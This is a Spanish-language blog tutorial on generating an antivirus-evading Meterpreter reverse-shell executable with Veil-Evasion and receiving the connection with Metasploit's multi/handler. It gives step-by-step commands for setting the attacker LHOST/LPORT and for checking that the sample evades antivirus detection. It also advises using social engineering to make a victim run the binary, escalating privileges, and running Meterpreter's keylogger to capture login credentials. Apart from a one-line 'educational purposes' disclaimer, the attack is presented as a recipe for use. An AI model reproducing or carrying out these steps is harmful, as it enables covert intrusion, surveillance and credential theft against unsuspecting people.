Veil-Framework y evasion de AV y IPS

Las mejoras como firewalls modernos o complejos, sistemas de protección como antivirus e IPS (Intrusion Prevention System) hacen que sea un poco más complicado que un atacante logre la intrusión a un sistema ajeno, ya que ciertos exploits no logran su ejecución debido a esto puesto a la creciente tasa de ataques, las compañías que desarrollan soluciones de seguridad se ven obligadas a permanecer al tanto de estas técnicas de intrusión, incorporando esta soluciones de seguridad a los sistemas informáticos, siendo asi  más difíciles de penetrar

Este framework, genera payloads  con algo de  FUD  Modding con el fin de ofuscar su codigo ante sistemas de seguridad o de protección, este framework y su malware generado trabajan junto con Metasploit, lo que nos permite tenerlos trabajando en conjunto como si fuese una sola plataforma.

Es por esto que se han desarrollado herramientas para poder hacer un bypass de estos IPS, soluciones Antivirus y demás protecciones con las que dispone un sistema,  poder conseguir la explotación de una forma cautelosa, otra excelente herramienta para conseguir esto  es Veil-Evasion.

Lo que se necesitará:

  • Ahora no usaremos Parrot, le daremos una visita Kali, para esta demostración se usó la version 2016.2 (la más reciente).
  • Un equipo Windows virtual o real, en esta demo se hizo la prueba con un Win 10 con equipo real, (Da igual la version de Windows puede ser desde el 2000 al 10)

NOTA: Esta herramienta no viene incluida en Kali (como las demás en los otros artículos míos), además de que le proceso de descarga e instalación es tardado, de 20 a 60 min, dependiendo la velocidad de tu internet.  Para descargarlo por tu cuenta puedes visitar los 2 enlaces siguientes, en donde vienen instrucciones para llevar a cabo la instalación del framework:

https://www.veil-framework.com/framework/veil-evasion/

https://github.com/Veil-Framework/Veil-Evasion.git

Para instalarlo en Kali, solo basta con ejecutar el comando “git clone https://github.com/Veil-Framework/Veil-Evasion.git”

Uso de Veil-Evasion.

  • Una vez completada la instalación del framework en Kali, dentro del directorio “/usr/share/” habrá una carpeta nombrada “veil-evasion”, que es donde reside la herramienta, navegamos hacia ese directorio y mostramos los objetos dentro usando el comando “ls”:

puto 1 nuevo

  • Dentro, entre los objetos vemos un script con extensión “.py” este script de python es el que inicializa al framework, lo iniciamos con el comando “./Veil-Evasion.py”, o simplemente desde cualquier ubicación, ejecutando el comando “veil-evasion” se iniciará la herramienta:
  • Para comenzar con la creación de nuestro payload  malicioso, primero debemos mostrar la lista donde se enumeran los payloads para que escojamos el nuestro, ejecutamos le comando “list” para mostrar los payloads disponibles:

Configuracion de nuestro payload malicioso obtención de explotación.

  • Una vez hecho eso, aparecerá una lista con los 50 payloads disponibles compilados en distintos lenguajes. Usaremos un payload que estará compilado en C, en este caso nosotros utilizaremos la opción 6 que es la de “ c/meterpreter/rev_tcp”  (el número de payloads puede variar depende la versión que se haya descargado):

puto 2 nuevoputo 3 nuevoputo 4 nuevo

  • Escogeremos el payload de nuestra preferencia haciendo uso del comando “use” y el número de payload, quedando asi el comando: “use 6”, en donde veremos las opciones de configuracion del payload, completaremos la configuracion usando los comandos “set” y “generate”:

puto 5 nuevo

Ya dentro, vamos a establecer los parámetros de configuración , puesto que es una Shell inversa de meterpreter, tendremos que configurar nuestra dirección IP que será con la que se establezca la conexión de la shell inversa (LHOST) y un puerto que este a la escucha (LPORT) y  el nombre del ejecutable, escribiendo así:

puto 6 nuevo

  • set LHOST “ Tu IP”
  • set LPORT “El puerto que quieres a la escucha”. Acá fue configurado antes, es por eso que las variables de LHOST y LPORT se muestran en la columna de “Current Value”, y por ultimo escribimos “generate”:

Con esto, ya creamos nuestro payload indetectable, vemos que aparecen las configuraciones establecidas para el payload y demás detalles como el lenguaje en el que esta compilado, en este caso fue “c” y se nombrará como tu gustes,, también se muestra el directorio donde se encuentra el payload guardado y el directorio en donde se ubica el handler.

Asi como también nos muestra un mensaje de que no subamos muestras a ningún escáner online. Esto se debe a que las páginas web que prestan este tipo de servicios, se quedan con el software que nosotros cargamos para el escaneo en busca de malware, para posteriormente enviarlo a las cas antivirus y realizarle una revisión, en caso de encontrar algo perjudicial en la muestra, la compañía a cargo del antivirus subirá la muestra a su base de datos, asi actualizando la firma del antivirus, asi este  más tarde podrá detectar estos payloads, sin embargo mas adenlante utilizaremos la plataforma de Nodistribute para hacer este escaneo a la muestra de malware.

Para terminar es proceso de creación del payload presionamos Enter para regresar al menú:

puto 7 nuevo

Abrimos otra terminal de comandos y ejecutamos “service postgresql start” para iniciar el servicio de postegresql, para posteriormente iniciar Metasploit. Después en esa misma terminal ejecutamos “msfconsole” para llamar al framework.

  • Dentro, haremos uso de un handler con: “use exploit /multi/handler” el cual es un exploit que estará a la escucha de las sesiones meterpreter que se activen en la red al momento de que el payload se ejecute, en donde también haremos uso de un payload que creará el canal de comunicación con el payload que se hizo con Veil-Evasion  y que se ejecutará en la plataforma de Windows, el payload que escogeremos ahora será un  “windows/meterpreter/reverse_tcp” ya colocado usando el comando “set” veremos las opciones de configuracion de este payload:puto 8 nuevo
  • Las opciones de configuracion que se muestran son el Host y el puerto que estarán a la escucha, aquí demos ingresar la misma información que en el primer payload, ya que tendrá que coincidir para que se pueda establecer la conexión y se cree el canal de comunicación, por lo que ingresaremos nuestra dirección IP en “LHOST” y en “LPORT” el puerto 443:

puto 9 nuevo

Ya después de haber hecho las configuraciones correctas, haremos llegar el ejecutable malicioso que se encuentra en “/var/lib/Veil-evasion/compiled/”, en este caso estará como la hayas nombrado. Como este ataque necesita de la interacción por parte del usuario para poder llevarse a cabo, se tendrá que recurrir al uso de ingeniería social para convencer a la victima de que en el equipo objetivo sea ejecutado el payload.

A pesar de que la herramienta indica que no subamos muestras a ningún scanner online, omitiremos esto e iremos a la plataforma de NoDistribute (en donde no se distribuyen resultados) para hacer este análisis, estos fueron los resultados obtenidos:puto 10 nuevo

  • Si lo realiza de forma exitosa, nos arrojara la sesión meterpreter gracias a la Shell inversa que configuraremos con la misma info proporcionada para el payload, escribimos “exploit”, presionamos Enter, y esperamos a que la víctima ejecute el binario (Payload Malicioso):

 puto 11 nuevo

  • Conseguido esto vemos como se abre la sesión meterpreter y podemos comenzar la interacción con el sistema ajeno:

puto 12 nuevo

  • Ya conseguida la sesion, podemos ejecutar algunos comandos para conseguir información acerca de este sistema, en la shell del meterpreter ejecutamos “sysinfo” para ver más detalles acerca de este equipo:

puto 13 nuevo

  • También podemos ubicarnos en el directorio del sistema ajeno con ayuda el comando “pwd”:

puto 14 nuevo

Hasta ahora hemos completado exitosamente el proceso de explotación, consiguiendo asi nuestra Intrusion informática, en donde ya obtuvimos la sesion meterpreter, el pequeño gran detalle de esto, es que solo podemos realizar tareas o acción como un usuario local más,  no somos la autoridad máxima en el sistema, ni tampoco tenemos carácter administrativo…aun. Esto puede conseguirse mediante el uso del exploit “windows/local/ask” mediante la ejecución remota de código, previamente en otros artículos de esta temática ha sido utilizado, puedes consultarlos en  este Blog.

Una vez conseguida la escalada de privilegios mostrarás las distintas sesiones meterpreter con el comando “sessions –l” y ahí verás el resultado, una sesion sin  y otra con privilegios administrativos:

puto 15 nuevo

Sabiendo esto, podremos hacer un uso más amplio de las tareas y funciones que trae consigo meterpreter, por ejemplo un “Keysniffer” o Keylogger que trabaja a bajo nivel, esto con el fin de evadir Firewalls que trae consigo el OS como los existentes en los navegadores web, Metasploit ayuda a ofuscar este vector de ataque.

Dentro de meterpreter ejecutaremos el comando “keyscan_start” para iniciar el “keysniffer” o “keylogger”, esto solo hará que comience el keylogger y quede a la espera para capturar teclas presionadas

Dejando el keylogger en funcion, en el siguiente ejemplo se demostró su con en la version más reciente de Opera Browser probando con el formulario de Loggeo de Instagram, enviando credenciales ficticias a este:

 puto 17 nuevo

Cuando queramos detener el sniffer, solo basta con ejecutar el comando “keyscan_dump” para realizar el volcado de info o teclas capturadas, en este ejemplo se obtuvo lo siguiente, junto con espacios, y demás teclas que no arrojan caracteres, además de que no se presenta LAG alguno en esta acción:

puto 16 nuevo

Este contenido fue escrito con fines educativos.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *